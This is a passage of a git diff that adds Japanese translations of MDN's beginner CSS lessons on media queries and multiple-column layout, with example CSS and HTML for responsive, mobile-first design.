<li><a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">位置指定</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">段組みレイアウト</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Responsive_Design">レスポンシブデザイン</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Media_queries">メディアクエリーの初心者向けガイド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のレイアウト方法</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">古いブラウザーのサポート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">基礎的なレイアウトの理解</a></li> +</ul> diff --git a/files/ja/learn/css/css_layout/media_queries/index.html b/files/ja/learn/css/css_layout/media_queries/index.html new file mode 100644 index 0000000000..6cfb1366b1 --- /dev/null +++ b/files/ja/learn/css/css_layout/media_queries/index.html @@ -0,0 +1,445 @@ +--- +title: メディアクエリーの初心者向けガイド +slug: Learn/CSS/CSS_layout/Media_queries +tags: + - Beginner + - CSS + - Layout + - Learn + - media query +translation_of: Learn/CSS/CSS_layout/Media_queries +--- +<p>{{learnsidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}</p> + +<p><strong>CSS メディアクエリー</strong>（CSS Media Query）を使用すると、例えば、「ビューポートは 480 ピクセルよりも広い」というような、ブラウザーとデバイスの環境が指定した規則に一致する場合にのみ CSS を適用できます。 メディアクエリーは、ビューポートのサイズに応じて異なるレイアウトを作成できるため、レスポンシブ Web デザイン（responsive web design、RWD）の重要な部分ですが、例えば、ユーザーはマウスではなくタッチスクリーンを使用しているというような、サイトが実行されている環境に関する他のものを検出するためにも使用できます。 このレッスンでは、最初にメディアクエリーで使用される構文について学習し、次に単純なデザインでどのようにレスポンシブにするかを示す実際の例で使用してみます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を学ぶ）、および CSS の機能の考え方（<a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>と <a href="/ja/docs/Learn/CSS/Building_blocks">CSS の構成要素</a>を学ぶ）。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>メディアクエリーの使用方法、およびそれらを使用してレスポンシブデザインを作成するための最も一般的なアプローチを理解する。</td> + </tr> + </tbody> +</table> + +<h2 id="Media_Query_Basics" name="Media_Query_Basics">メディアクエリーの基本</h2> + +<p>最も単純なメディアクエリーの構文は次のようになります。</p> + +<pre class="brush: css notranslate">@media <em>media-type</em> and (<em>media-feature-rule</em>) { + /* CSS 規則をここに */ +}</pre> + +<p>これは、次のもので構成されます。</p> + +<ul> + <li>メディアタイプ（media type）。 このコードがどのようなメディア（例えば、印刷、画面）のためのものであるかをブラウザーに伝えます。</li> + <li>メディア式。 規則（rule）または、含まれている CSS を適用するために合格する必要があるテストです。</li> + <li>CSS 規則のセット。 テストに合格し、メディアタイプが正しい場合に適用されます。</li> +</ul> + +<h3 id="Media_types" name="Media_types">メディアタイプ</h3> + +<p>指定できるメディアの種類は次のとおりです。</p> + +<ul> + <li><code>all</code>（すべて）</li> + <li><code>print</code>（印刷）</li> + <li><code>screen</code>（画面）</li> + <li><code>speech</code>（音声合成）</li> +</ul> + +<p>次のメディアクエリーは、ページが印刷される場合にのみ <code>body</code> を <code>12pt</code> に設定します。 ページがブラウザーにロードされるときは適用されません。</p> + +<pre class="brush: css notranslate"><code>@media print { + body { + font-size: 12pt; + } +}</code></pre> + +<div class="blockIndicator note"> +<p><strong>注</strong>: ここでのメディアタイプは、いわゆる {{glossary("MIME type","MIME タイプ")}}とは異なります。</p> +</div> + +<div class="blockIndicator note"> +<p><strong>注</strong>: レベル3のメディアクエリー仕様には、他にも多くのメディアタイプが定義されています。 これらは非推奨であり、避けるべきです。</p> +</div> + +<div class="blockIndicator note"> +<p><strong>注</strong>: メディアタイプはオプションです。 メディアクエリーでメディアタイプを指定しない場合、メディアクエリーはデフォルトですべてのメディアタイプ用になります。</p> +</div> + +<h3 id="Media_feature_rules" name="Media_feature_rules">メディア特性の規則</h3> + +<p>タイプを指定したら、規則を使用してメディア特性（media feature）を対象にできます。</p> + +<h4 id="Width_and_height" name="Width_and_height">幅と高さ</h4> + +<p>レスポンシブデザインを作成するために最も頻繁に検出される特性（そして広範なブラウザーサポートを備えた特性）は、ビューポートの幅で、ビューポートが特定の幅よりも上または下にある（または正確な幅の）場合に、CSS を適用できます。 これには、<code>min-width</code>、<code>max-width</code>、<code>width</code> のメディア特性を使用します。</p> + +<p>これらの特性は、さまざまな画面サイズに対応するレイアウトを作成するために使用されます。 例えば、ビューポートが正確に 600 ピクセルの場合に <code>body</code> のテキストの色を赤に変更するには、次のメディアクエリーを使用します。</p> + +<pre class="brush: css notranslate"><code>@media screen and (width: 600px) { + body { + color: red; + } +}</code></pre> + +<p>ブラウザーで<a href="https://mdn.github.io/css-examples/learn/media-queries/width.html">この例を開く</a>か、<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/width.html">ソースを表示</a>します。</p> + +<p><code>width</code>（および <code>height</code>）のメディア特性は範囲として使用でき、<code>min-</code> または <code>max-</code> を前に付けて、指定された値が最小または最大であることを示します。 例えば、ビューポートが 600 ピクセルより狭い場合に色を青にするには、次のように <code>max-width</code> を使用します。</p> + +<pre class="brush: css notranslate"><code>@media screen and (max-width: 600px) { + body { + color: blue; + } +}</code></pre> + +<p>ブラウザーで<a href="https://mdn.github.io/css-examples/learn/media-queries/max-width.html">この例を開く</a>か、<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/max-width.html">ソースを表示</a>します。</p> + +<p>実際には、レスポンシブデザインでは最小値または最大値を使用する方がはるかに便利であるため、<code>width</code> または <code>height</code> を単独で使用することはほとんどありません。</p> + +<p>テストできるメディア特性は他にも多数ありますが、メディアクエリー仕様のレベル4および5で導入された新しい特性の一部は、ブラウザーサポートが制限されています。 各特性は、ブラウザーサポート情報とともに MDN で文書化されていて、完全なリストは、<a href="/ja/docs/Web/CSS/Media_Queries/Using_media_queries#Media_features">メディアクエリーの使用: メディア特性</a>で見つけることができます。</p> + +<h4 id="Orientation" name="Orientation">オリエンテーション</h4> + +<p>よくサポートされているメディア特性の1つはオリエンテーション（<code>orientation</code>）です。 これにより、ポートレートモード（<code>portrait</code> mode、肖像画のような縦長）またはランドスケープモード（<code>landscape</code> mode、風景画のような横長）をテストできます。 デバイスがランドスケープの場合に本文の色を変更するには、次のメディアクエリーを使用します。</p> + +<pre class="brush: css notranslate"><code>@media (orientation: landscape) { + body { + color: rebeccapurple; + } +}</code></pre> + +<p>ブラウザーで<a href="https://mdn.github.io/css-examples/learn/media-queries/orientation.html">この例を開く</a>か、<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/orientation.html">ソースを表示</a>します。</p> + +<p>標準のデスクトップビューはランドスケープであり、このオリエンテーションで適切に機能するデザインは、ポートレートモードの携帯電話またはタブレットで表示した場合に機能しない場合があります。 オリエンテーションのテストは、ポートレートモードのデバイス用に最適化されたレイアウトの作成に役立ちます。</p> + +<h4 id="Use_of_pointing_devices" name="Use_of_pointing_devices">ポインティングデバイスの使用</h4> + +<p>レベル4仕様の一部として、ホバー（<code>hover</code>）メディア特性が導入されました。 この特性は、ユーザーが要素の上にポインターを乗せることができるかどうかをテストできることを意味します。 つまり、本質的に何らかのポインティングデバイスを使用していることを意味します。 タッチスクリーンとキーボードナビゲーションはホバーしません。</p> + +<pre class="brush: css notranslate"><code>@media (hover: hover) { + body { + color: rebeccapurple; + } +}</code></pre> + +<p>ブラウザーで<a href="https://mdn.github.io/css-examples/learn/media-queries/hover.html">この例を開く</a>か、<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/hover.html">ソースを表示</a>します。</p> + +<p>ユーザーがホバーできないことがわかっている場合、デフォルトでいくつかのインタラクティブ機能を表示できます。 ホバーできるユーザーの場合、リンクの上にポインターを乗せたときにそれらを利用可能にすることを選択できます。</p> + +<p>レベル4には、ポインター（<code>pointer</code>）メディア特性もあります。 これには、<code>none</code>（なし）、<code>fine</code>（細かい）、<code>coarse</code>（粗い）の3つの値があります。 <code>fine</code> ポインターは、マウスやトラックパッドのようなものです。 これにより、ユーザーは狭い領域を正確に対象にすることができます。 <code>coarse</code> ポインターは、タッチスクリーン上の指です。 値 <code>none</code> は、ユーザーにポインティングデバイスがないことを意味し、おそらく、キーボードのみ、または音声コマンドでナビゲートしています。</p> + +<p><code>pointer</code> を使用すると、ユーザーが画面に対して行っている操作の種類に対応する、より優れたインターフェイスを設計できます。 例えば、ユーザーがタッチスクリーンでデバイスと対話していることがわかっている場合、より大きなヒット領域を作成できます。</p> + +<h2 id="More_complex_media_queries" name="More_complex_media_queries">より複雑なメディアクエリー</h2> + +<p>考えられるさまざまなメディアクエリーのすべてを使用して、それらを組み合わせたり、いずれにも一致する可能性があるクエリーのリストを作成したりすることができます。</p> + +<h3 id="and_logic_in_media_queries" name="and_logic_in_media_queries">メディアクエリーの "and" 論理</h3> + +<p>メディア特性を組み合わせるには、上記で <code>and</code> を使用してメディアタイプとメディア特性を組み合わせるのとほぼ同じ方法で <code>and</code> を使用できます。 例えば、<code>min-width</code> と <code>orientation</code> をテストする場合があります。 ビューポートの幅が少なくとも 600 ピクセルで、デバイスがランドスケープモードの場合にのみ <code>body</code> のテキストは青色になります。</p> + +<pre class="brush: css notranslate"><code>@media screen and (min-width: 600px) and (orientation: landscape) { + body { + color: blue; + } +}</code></pre> + +<p>ブラウザーで<a href="https://mdn.github.io/css-examples/learn/media-queries/and.html">この例を開く</a>か、<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/and.html">ソースを表示</a>します。</p> + +<h3 id="or_logic_in_media_queries" name="or_logic_in_media_queries">メディアクエリーの "or" 論理</h3> + +<p>クエリーのセットがあり、そのいずれかが一致する場合、これらのクエリーをコンマで区切ることができます。 次の例では、ビューポートの幅が少なくとも 600 ピクセルの場合、<strong>または</strong>デバイスがランドスケープの場合、テキストは青になります。 これらのいずれかが当てはまる場合、クエリーは一致します。</p> + +<pre class="brush: css notranslate"><code>@media screen and (min-width: 600px), screen and (orientation: landscape) { + body { + color: blue; + } +}</code></pre> + +<p>ブラウザーで<a href="https://mdn.github.io/css-examples/learn/media-queries/or.html">この例を開く</a>か、<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/or.html">ソースを表示</a>します。</p> + +<h3 id="not_logic_in_media_queries" name="not_logic_in_media_queries">メディアクエリーの "not" 論理</h3> + +<p><code>not</code> 演算子を使用して、メディアクエリー全体を否定することができます。 これにより、メディアクエリー全体の意味が逆になります。 したがって、次の例では、オリエンテーションがポートレートの場合にのみテキストが青になります。</p> + +<pre class="brush: css notranslate"><code>@media not all and (orientation: landscape) { + body { + color: blue; + } +}</code></pre> + +<p>ブラウザーで<a href="https://mdn.github.io/css-examples/learn/media-queries/not.html">この例を開く</a>か、<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/not.html">ソースを表示</a>します。</p> + +<h2 id="How_to_choose_breakpoints" name="How_to_choose_breakpoints">ブレークポイントの選択方法</h2> + +<p>レスポンシブデザインの初期には、多くのデザイナーが非常に具体的な画面サイズを対象にしようとしました。 人気のある携帯電話やタブレットの画面のサイズのリストは、それらのビューポートにきちんと一致するデザインを作成できるように公開されました。</p> + +<p>現在、非常に多様なサイズのデバイスが多すぎて、それを実現できません。 つまり、すべてのデザインにおいて特定のサイズを対象にするのではなく、コンテンツが何らかの方法で壊れ始める（starts to break）サイズでデザインを変更することをお勧めします。 おそらく、行の長さが非常に長くなるか、枠で囲まれたサイドバーが押しつぶされて読みにくくなります。 これが、メディアクエリーを使用して、使用可能なスペースに合わせてデザインをより良いものに変更するポイントです。 このアプローチは、使用されているデバイスの正確な寸法は問題ではなく、あらゆる範囲に対応できることを意味します。 メディアクエリーが導入されるポイントは、<strong>ブレークポイント</strong>（breakpoints）と呼ばれます。</p> + +<p>Firefox 開発ツールの<a href="/ja/docs/Tools/Responsive_Design_Mode">レスポンシブデザインモード</a>は、これらのブレークポイントがどこに行くべきかを判断するのに非常に便利です。 メディアクエリーを追加してデザインを微調整しながら、ビューポートを小さくしたり大きくしたりして、コンテンツが改善される場所を簡単に確認できます。</p> + +<p><img alt="Firefox 開発ツールのモバイルビューのレイアウトのスクリーンショット。" src="https://mdn.mozillademos.org/files/16867/rwd-mode.png" style="height: 917px; width: 1443px;"></p> + +<h2 id="Active_learning_mobile_first_responsive_design" name="Active_learning_mobile_first_responsive_design">能動的学習: モバイルファースト レスポンシブデザイン</h2> + +<p>レスポンシブデザインには、大きく分けて2つのアプローチがあります。 デスクトップまたは最も広いビューから始めて、ビューポートが小さくなるにつれて並べ替えるためのブレークポイントを追加するか、最小のビューから始めて、ビューポートが大きくなるにつれてレイアウトを追加することができます。 この2番目のアプローチは、<strong>モバイルファースト</strong> レスポンシブデザインと呼ばれ、多くの場合、従うべき最善のアプローチです。</p> + +<p>非常に小さなデバイスのビューは、通常フローで見られるように、多くの場合、コンテンツの単純な1列です。 これは、小さなデバイスに対して多くのレイアウトを行う必要がほとんどないことを意味します — ソースを適切な順序にすれば、デフォルトで読みやすいレイアウトになります。</p> + +<p>以下のチュートリアルでは、非常に単純なレイアウトでこのアプローチを説明します。 実稼働サイトでは、メディアクエリー内で調整する必要があるものが多くありますが、アプローチはまったく同じです。</p> + +<h3 id="Walkthrough_a_simple_mobile-first_layout" name="Walkthrough_a_simple_mobile-first_layout">チュートリアル: 単純なモバイルファーストのレイアウト</h3> + +<p>出発点は、レイアウトのさまざまな部分に背景色を追加するために CSS を適用した HTML ドキュメントです。</p> + +<pre class="brush: css notranslate"><code>* { + box-sizing: border-box; +} + +body { + width: 90%; + margin: 2em auto; + font: 1em/1.3 Arial, Helvetica, sans-serif; +} + +a:link, +a:visited { + color: #333; +} + +nav ul, +aside ul { + list-style: none; + padding: 0; +} + +nav a:link, +nav a:visited { + background-color: rgba(207, 232, 220, 0.2); + border: 2px solid rgb(79, 185, 227); + text-decoration: none; + display: block; + padding: 10px; + color: #333; + font-weight: bold; +} + +nav a:hover { + background-color: rgba(207, 232, 220, 0.7); +} + +.related { + background-color: rgba(79, 185, 227, 0.3); + border: 1px solid rgb(79, 185, 227); + padding: 10px; +} + +.sidebar { + background-color: rgba(207, 232, 220, 0.5); + padding: 10px; +} + +article { + margin-bottom: 1em; +} +</code></pre> + +<p>レイアウトの変更は行っていませんが、ドキュメントのソースはコンテンツが読みやすいように並べられています。 これは重要な最初のステップであり、コンテンツがスクリーンリーダーで読み上げられる場合に理解できるようにするものです。</p> + +<pre class="brush: html notranslate"><code><body> + <div class="wrapper"> + <header> + <nav> + <ul> + <li><a href="">About</a></li> + <li><a href="">Contact</a></li> + <li><a href="">Meet the team</a></li> + <li><a href="">Blog</a></li> + </ul> + </nav> + </header> + <main> + <article> + <div class="content"> + <h1>Veggies!</h1> + <p> + ... + </p> + </div> + <aside class="related"> + <p> + ... + </p> + </aside> + </article> + + <aside class="sidebar"> + <h2>External vegetable-based links</h2> + <ul> + <li> + ... + </li> + </ul> + </aside> + </main> + + <footer><p>&copy;2019</p></footer> + </div> + </body> +</code></pre> + +<p>この単純なレイアウトはモバイルでもうまく機能します。 開発ツールのレスポンシブデザインモードでレイアウトを眺めると、サイトのモバイルビューそのものと同じように機能することがわかります。</p> + +<p>ブラウザーで<a href="https://mdn.github.io/css-examples/learn/media-queries/step1.html">ステップ1を開く</a>か、<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/step1.html">ソースを表示</a>します。</p> + +<p><strong>この例をフォローして実装してみたい場合は、コンピューターに <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/step1.html">step1.html</a> のローカルコピーを作成します。</strong></p> + +<p>このポイントから、行の長さが非常に長くなり、ナビゲーションのためのスペースが水平線で表示されるまで、レスポンシブデザインモードのビューのドラッグを始めます。 これが、最初のメディアクエリーを追加する場所です。 <code>em</code> を使用すると、ユーザーがテキストのサイズを大きくした場合、テキストのサイズが小さいユーザーよりも、同様の行長で広いビューポートでブレークポイントが発生します。</p> + +<p><strong>step1.html の CSS の下部に以下のコードを追加します。</strong></p> + +<pre class="brush: css notranslate"><code>@media screen and (min-width: 40em) { + article { + display: grid; + grid-template-columns: 3fr 1fr; + column-gap: 20px; + } + + nav ul { + display: flex; + } + + nav li { + flex: 1; + } +} +</code></pre> + +<p>この CSS は、記事（<code>article</code>）内の2列のレイアウトで、記事のコンテンツ（<code>content</code>）および余談（<code>aside</code>）要素の関連（<code>related</code>）情報を提供します。 また、フレックスボックスを使用してナビゲーション（<code>nav</code>）を1行に配置します。</p> + +<p>ブラウザーで<a href="https://mdn.github.io/css-examples/learn/media-queries/step2.html">ステップ2を開く</a>か、<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/step2.html">ソースを表示</a>します。</p> + +<p>サイドバー（<code>sidebar</code>）が新しい列を形成するのに十分なスペースがあると感じるまで、幅を拡張し続けます。 メディアクエリー内で、主要な（<code>main</code>）要素を2列のグリッドにします。 次に、2つのサイドバーが互いに揃うように <code>article</code> の {{cssxref("margin-bottom")}} を削除する必要があります。 フッター（<code>footer</code>）の上部に {{cssxref("border")}} を追加します。 通常、これらの小さな調整は、各ブレークポイントでデザインをきれいに見せるために行うことです。</p> + +<p><strong>再び、step1.html の CSS の下部に以下のコードを追加します。</strong></p> + +<pre class="brush: css notranslate"><code>@media screen and (min-width: 70em) { + main { + display: grid; + grid-template-columns: 3fr 1fr; + column-gap: 20px; + } + + article { + margin-bottom: 0; + } + + footer { + border-top: 1px solid #ccc; + margin-top: 2em; + } +}</code> +</pre> + +<p>ブラウザーで<a href="https://mdn.github.io/css-examples/learn/media-queries/step3.html">ステップ3を開く</a>か、<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/step3.html">ソースを表示</a>します。</p> + +<p>さまざまな幅で最後の例を見ると、デザインがどのように反応し、利用可能な幅に応じて1列、2列、または3列として機能するかを確認できます。 これは、モバイルファースト レスポンシブデザインの非常に単純な例です。</p> + +<h2 id="The_viewport_meta_tag">The viewport meta tag</h2> + +<p>If you look at the HTML source in the above example, you'll see the following element included in the head of the document:</p> + +<pre class="brush: html notranslate"><meta name="viewport" content="width=device-width,initial-scale=1"></pre> + +<p>This is the <a href="/en-US/docs/Mozilla/Mobile/Viewport_meta_tag">viewport meta tag</a> — it exists as a way control how mobile browsers render content. This is needed because by default, most mobile browsers lie about their viewport width. Non-responsive sites commonly look really bad when rendered in a narrow viewport, so mobile browsers usually render the site with a viewport width wider than the real device width by default (usually 960 pixels), and then shrink the rendered result so that it fits in the display.</p> + +<p>This is all well and good, but it means that responsive sites are not going to work as expected. If the viewport width is reported as 960 pixels, then mobile layouts (for example created using a media query of <code>@media screen and (max-width: 600px) { ... }</code>) are not going to render as expected.</p> + +<p>To remedy this, including a viewport meta tag like the one above on your page tells the browser "don't render the content with a 960 pixel viewport — render it using the real device width instead, and set a default initial scale level for better consistency." The media queries will then kick in as expected.</p> + +<p>There are a number of other options you can put inside the <code>content</code> attribute of the viewport meta tag — see <a href="/en-US/docs/Mozilla/Mobile/Viewport_meta_tag">Using the viewport meta tag to control layout on mobile browsers</a> for more details.</p> + +<h2 id="Do_you_really_need_a_media_query" name="Do_you_really_need_a_media_query">メディアクエリーが本当に必要ですか？</h2> + +<p>フレックスボックス、グリッド、および段組みのレイアウトはすべて、メディアクエリーを必要とせずに、柔軟でレスポンシブなコンポーネントを作成する方法を提供します。 これらのレイアウト方法が、メディアクエリーを追加せずに目的を達成できるかどうかを常に検討する価値があります。 例えば、少なくとも 200 ピクセル幅のカードのセットが必要な場合があります。 これらの 200 ピクセルの多くは、<code>main</code> の <code>article</code> に収まります。 これは、メディアクエリーをまったく使用せずに、グリッドレイアウトで実現できます。</p> + +<p>これは、次を使用して実現できます。</p> + +<pre class="brush: html notranslate"><code><ul class="grid"> + <li> + <h2>Card 1</h2> + <p>...</p> + </li> + <li> + <h2>Card 2</h2> + <p>...</p> + </li> + <li> + <h2>Card 3</h2> + <p>...</p> + </li> + <li> + <h2>Card 4</h2> + <p>...</p> + </li> + <li> + <h2>Card 5</h2> + <p>...</p> + </li> +</ul></code></pre> + +<pre class="brush: css notranslate"><code>.grid { + list-style: none; + margin: 0; + padding: 0; + display: grid; + gap: 20px; + grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); +} + +.grid li { + border: 1px solid #666; + padding: 10px; +}</code></pre> + +<p>ブラウザーで<a href="https://mdn.github.io/css-examples/learn/media-queries/grid.html">グリッドレイアウトの例を開く</a>か、<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/grid.html">ソースを表示</a>します。</p> + +<p>ブラウザーで例を開いた状態で、画面を拡大および縮小して、列トラック数の変更を確認します。 このメソッドの良い点は、グリッドがビューポートの幅ではなく、このコンポーネントで使用可能な幅を見ていることです。 メディアクエリーに関するセクションに、それがまったく必要ないかもしれないという提案をまとめるのは奇妙に思えるかもしれません！ しかしながら、実際には、メディアクエリーで強化された最新のレイアウト方法を適切に使用すると、最良の結果が得られることがわかります。</p> + +<h2 id="Test_your_skills!">Test your skills!</h2> + +<p>You've reached the end of this article, but can you remember the most important information? You can find a test to verify that you've retained this information before you move on — see <a href="/en-US/docs/Learn/CSS/CSS_layout/rwd_skills">Test your skills: Responsive Web Design</a>.</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>このレッスンでは、メディアクエリーについて学び、実際にそれらを使用してモバイルファースト レスポンシブデザインを作成する方法もみいだしました。</p> + +<p>作成した開始点を使用して、さらにメディアクエリーをテストできます。 例えば、<code>pointer</code> メディア特性を使用して、訪問者が粗いポインターを持つことを検出した場合、ナビゲーションのサイズを変更できます。</p> + +<p>また、さまざまなコンポーネントを追加して、メディアクエリーを追加するか、フレックスボックスやグリッドなどのレイアウト方法を使用するのがコンポーネントをレスポンシブにするのに最も適切な方法かどうかを試すこともできます。 多くの場合、正しい方法も間違った方法もありません。 あなたのデザインとコンテンツに最適な方法を試してみてください。</p> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Introduction">CSS レイアウト入門</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Normal_Flow">通常フロー</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Grids">グリッド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Floats">フロート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">位置指定</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">段組みレイアウト</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Responsive_Design">レスポンシブデザイン</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Media_queries">メディアクエリーの初心者向けガイド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のレイアウト方法</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">古いブラウザーのサポート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">基礎的なレイアウトの理解</a></li> +</ul> diff --git a/files/ja/learn/css/css_layout/multiple-column_layout/index.html b/files/ja/learn/css/css_layout/multiple-column_layout/index.html new file mode 100644 index 0000000000..036bb7daf6 --- /dev/null +++ b/files/ja/learn/css/css_layout/multiple-column_layout/index.html @@ -0,0 +1,417 @@ +--- +title: 段組みレイアウト +slug: Learn/CSS/CSS_layout/Multiple-column_Layout +tags: + - Beginner + - CSS + - Guide + - Layout + - Learn + - Learning + - Multi-col + - Multiple columns +translation_of: Learn/CSS/CSS_layout/Multiple-column_Layout +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout")}}</div> + +<p class="summary"><span class="seoSummary">段組みレイアウトの仕様では、新聞に見られるような、コンテンツを段にレイアウトする方法が提供されています。 この記事では、この機能の使い方について説明します。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を学ぶ）、および CSS の機能の考え方（<a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>を学ぶ）。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>ウェブページ上で、新聞に見られるような、段組みレイアウトを作成する方法を学ぶこと。</td> + </tr> + </tbody> +</table> + +<h2 id="A_basic_example" name="A_basic_example">基本的な例</h2> + +<p>ここでは、しばしば <em>multicol</em> と呼ばれる、段組みレイアウトの使用方法を探ります。 あなたは、<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/multicol/0-starting-point.html">multicol の出発点ファイルをダウンロード</a>して、適切な場所に CSS を追加することによって、従うことができます。 このセクションの一番下には、最終的なコードがどのようになっているかの実例があります。</p> + +<p>出発点にはいくつかの非常に単純な HTML を含んでいます。 <code>container</code> のクラスを持つラッパーに見出しといくつかの段落が入っています 。</p> + +<p><code>container</code> のクラスを持つ {{htmlelement("div")}} を、 multicol コンテナとします。 2つのプロパティ {{cssxref("column-count")}} または {{cssxref("column-width")}} のいずれかを使用して、multicol をオンにします。 <code>column-count</code> プロパティは与えた値と同じ数の段（column）を作成するので、スタイルシートに次の CSS を加えて、ページをリロードすれば、あなたは3つの段を得るでしょう。</p> + +<pre class="brush: css">.container { + column-count: 3; +} +</pre> + +<p>作成した段の幅は可変です — ブラウザーは各段に割り当てるためのスペースを計算します。</p> + +<div id="Multicol_1"> +<div class="hidden"> +<h6 id="column-count_example">column-count example</h6> + +<pre class="brush: css">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} + </pre> +</div> + +<pre class="brush: html"><div class="container"> + <h1>Simple multicol example</h1> + + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. + Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. + Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse + ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit + quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique + elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit + cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis + dis parturient montes, nascetur ridiculus mus.</p> +</div> +</pre> + +<pre class="brush: css">.container { + column-count: 3; +} +</pre> +</div> + +<p>{{ EmbedLiveSample('Multicol_1', '100%', 400) }}</p> + +<p>次のように CSS を変更して <code>column-width</code> を使用します。</p> + +<pre class="brush: css">.container { + column-width: 200px; +} +</pre> + +<p>ブラウザーは指定したサイズでできる数の段を与えます。 残りのスペースは既存の段間で共有されます。 これは、コンテナがその幅で正確に割り切れない限り、指定した幅と正確には一致しないことを意味します。</p> + +<div id="Multicol_2"> +<div class="hidden"> +<h6 id="column-width_example">column-width example</h6> + +<pre class="brush: css">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +}</pre> + +<pre class="brush: html"><div class="container"> + <h1>Simple multicol example</h1> + + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. + Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. + Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse + ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit + quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique + elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit + cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis + dis parturient montes, nascetur ridiculus mus.</p> +</div></pre> +</div> + +<pre class="brush: css">.container { + column-width: 200px; +} +</pre> +</div> + +<p>{{ 